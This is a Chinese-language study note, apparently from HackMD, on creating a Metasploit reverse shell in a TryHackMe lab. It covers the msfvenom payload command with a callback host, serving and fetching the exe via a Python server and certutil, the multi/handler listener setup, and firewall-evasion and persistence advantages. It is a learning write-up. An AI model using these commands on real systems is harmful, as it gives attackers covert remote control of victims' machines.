# 使用Metasploit 執行反向 shell (reverse shell) 連接 > <span style="color: red;font-size:20px">「此筆記旨在提升個人資訊安全技能,所有演練均基於模擬環境進行,絕不涉及任何非法入侵或破壞他人系統之行為。請遵循《[妨害電腦使用罪](https://mojlaw.moj.gov.tw/LawContent.aspx?LSID=FL001424&lawNumber=358&TypeSort=2)》條款,務必保持行為合法合規。」 > (因本人使用 [tryhackme.com](https://tryhackme.com/) 網站練習,故直接使用該環境來記錄筆記)</span> ### 甚麼是Metasploit(msf)? Metasploit 框架是一個強大的開源滲透測試平台,用於發現和利用系統漏洞。它提供了許多工具和資源,使安全專家可以模擬攻擊,評估系統的安全性,而且支持各種系統與平台,在很多地方都能使用。 總之它的功能性超級強大,要介紹的話篇幅可能不太夠(~~絕對不是我懶~~),之後心血來潮的話再寫一篇來介紹~~ 若使用kali linux的話 內建就能直接使用了,或到[這邊](https://www.metasploit.com/download)安裝 ### 為何要使用反向shell? * 繞過防火牆: 因大部分的防火牆或安全設備僅允許內對外進行連接,但限制外對內的連接,故使用反向 shell可繞過這些設備的限制。 * 隱蔽性: 因為連接是由目標系統發起的,因此較不容易被檢測或阻止,能夠更好的隱藏攻擊者的活動。 其實跟第一點差不多(但第一點是不會被阻擋,第二點是不會被察覺), * 方便持續存取: 一旦反向shell成功建立後,可以在目標機器上設置反向shell在開機時自動啟動,或是在特定時間啟動,這樣就算斷開連接後,也能再次連接回去。 ### 練習環境: tryhackme的虛擬機,自己建兩台虛擬機也可以達到一樣的操作~ * 攻擊機器IP:10.10.36.43 * 目標機器IP (windows系統) :10.10.5.123 > 可以執行反向shell的方法有很多種,以下只是其中的一種方法~ -------- ### 先使用 Metasploit 中的 Msfvenom 來生成反向shell的 payload 使用語法如下: ``` msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.10.36.43 LPORT=6666 -f exe > rev_shell.exe ``` > **備註**:這是生成windows系統的語法,如果目標是其他系統的話,要使用其他的payload。 1. -p 就是指定要使用的 payload 2. LHOST 就是攻擊機器的 IP 3. LPORT 就是攻擊機器的 port 號 4. -f 是指定輸出格式,因目標機器是windows系統,故格式設置成exe (linux為elf) 5. \> rev_shell.exe 把命令輸出到指定的文件上,這是生成的 Payload 文件,目標系統上執行這個文件後,會建立一個反向 shell 連接到攻擊者的機器。 6. 當這個 rev_shell.exe 文件在目標系統上執行時,它會嘗試連接到攻擊機器: 10.10.36.43 的 6666 端口,記得先到攻擊機器開啟接收。 <a href="https://hackmd.io/_uploads/rydFMBkhA.png" target="_blank"><img src="https://hackmd.io/_uploads/rydFMBkhA.png" ></a> 這樣就成功將反向 shell生成好了,下一步就是將反向 shell 放到目標主機上 ----- ### 將反向 shell的 payload 放到目標主機上 可以在攻擊機上使用python作為簡易http server,方便目標主機下載 指令: ``` python3 -m http.server [port] ``` 會因python版本不同 而有指令的差異喔 !! 例如 python2 的指令是: ``` python2 -m SimpleHTTPServer [port] ``` 那這邊我們使用python3來示範,使用本機的 port 8888 來作為http server <a href="https://hackmd.io/_uploads/ByI9dSJn0.png" target="_blank"><img src="https://hackmd.io/_uploads/ByI9dSJn0.png" ></a> 接下來就到目標主機上去下載檔案,在目標主機上可以使用瀏覽器、wget 或是 curl 等等的方式去下載檔案,這邊使用瀏覽器直接下載。 在瀏覽器上直接輸入要下載的伺服器來源及port號 <a href="https://hackmd.io/_uploads/HJAtiryh0.png" target="_blank"><img src="https://hackmd.io/_uploads/HJAtiryh0.png" ></a> 找到要下載的檔案 <a href="https://hackmd.io/_uploads/r1LjsHy3A.png" target="_blank"><img src="https://hackmd.io/_uploads/r1LjsHy3A.png" ></a> 接下來應該就可以在download那邊看到我們的rev_shell.exe檔案了 <a href="https://hackmd.io/_uploads/rkRPnSJhA.png" target="_blank"><img src="https://hackmd.io/_uploads/rkRPnSJhA.png" ></a> 或是使用 windows 內建指令 ``` certutil -urlcache -split -f http://10.10.36.43:8888/rev_shell.exe rev_shell.exe ``` ------- ### 到攻擊機上進行最後的配置 然後回到我們的攻擊機上準備設定接收配置,這邊就要使用Metasploit中的mulit/handler功能了~ * multi/handler 是 Metasploit 框架中的一個模組,用於接收和管理來自目標系統的反向連接。它是 Metasploit 中最常用的模組之一。 先啟動msfconsole (中間的圖案每次都會不一樣,可以嘗試看看有哪些圖案XD) <a href="https://hackmd.io/_uploads/HJvulIknA.png" target="_blank"><img src="https://hackmd.io/_uploads/HJvulIknA.png" ></a> 接下來使用use multi/handler來選擇要使用的模組 <a href="https://hackmd.io/_uploads/SJObb8y3C.png" target="_blank"><img src="https://hackmd.io/_uploads/SJObb8y3C.png" ></a> 先輸入 ```show optiions``` 查看目前選用模組的配置與設定 <a href="https://hackmd.io/_uploads/r101BUk3A.png" target="_blank"><img src="https://hackmd.io/_uploads/r101BUk3A.png" ></a> 先更改payload,我們放在目標機器上的payload是 : windows/meterpreter_reverse_tcp,那我們接收的設定也要設置一樣的 payload 輸入```set payload windows/meterpreter_reverse_tcp``` <a href="https://hackmd.io/_uploads/SJuNGLkn0.png" target="_blank"><img src="https://hackmd.io/_uploads/SJuNGLkn0.png" ></a> 設置完正確的 payload 後再輸入一次 ```show options``` 查看需要的設定,你會發現 payload裡的配置變了,每個 payload 的配置都不一定一樣,要跟著不同的 payload 去設定~ <a href="https://hackmd.io/_uploads/S1u8SIy3R.png" target="_blank"><img src="https://hackmd.io/_uploads/S1u8SIy3R.png" ></a> 接下來設置 LHOST 與 LPORT,那個 L 就是 Local 的意思; 設置攻擊機的 ip 與當初建立反向shell時設定的 port 號,當初生成 payload 時候,設置的 port 號為 6666,那這邊也就設置成 6666 輸入``` set LHOST 10.10.36.43```與```set LPORT 6666``` <a href="https://hackmd.io/_uploads/H1WqXIy3C.png" target="_blank"><img src="https://hackmd.io/_uploads/H1WqXIy3C.png" ></a> 都更改完後再查看一下配置 ``` show options ``` 那個 Requird 的選項中,只有yes的是必須要有的參數,其他的按照個人需求配置就好 <a href="https://hackmd.io/_uploads/SJfWL8J20.png" target="_blank"><img src="https://hackmd.io/_uploads/SJfWL8J20.png" ></a> ----- ### 接收從目標機器傳來的連接 接下來就可以執行```run``` 或是```exploit```來準備接收從目標機上傳來的連接了,執行後就會打開port 6666等著連接  再到目標機器上執行剛剛放進去的 payload,可以選擇雙擊兩下打開,或是從cmd中輸入 ``` .\[檔案名稱] ``` <a href="https://hackmd.io/_uploads/HyKqvLy2R.png" target="_blank"><img src="https://hackmd.io/_uploads/HyKqvLy2R.png" ></a> <a href="https://hackmd.io/_uploads/HkBEuIy2R.png" target="_blank"><img src="https://hackmd.io/_uploads/HkBEuIy2R.png" ></a> 當你攻擊機的輸入變成meterpreter後,這樣我們就成功建立反向 shell 了~~ <a href="https://hackmd.io/_uploads/S1iLOI130.png" target="_blank"><img src="https://hackmd.io/_uploads/S1iLOI130.png" ></a> > **<span style="color:#FF0000;font-size:24px">製作這篇筆記是為了記錄學習過程,方便之後回顧,若有任何想法或是發現內容有誤,歡迎留言補充~~</span>**
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up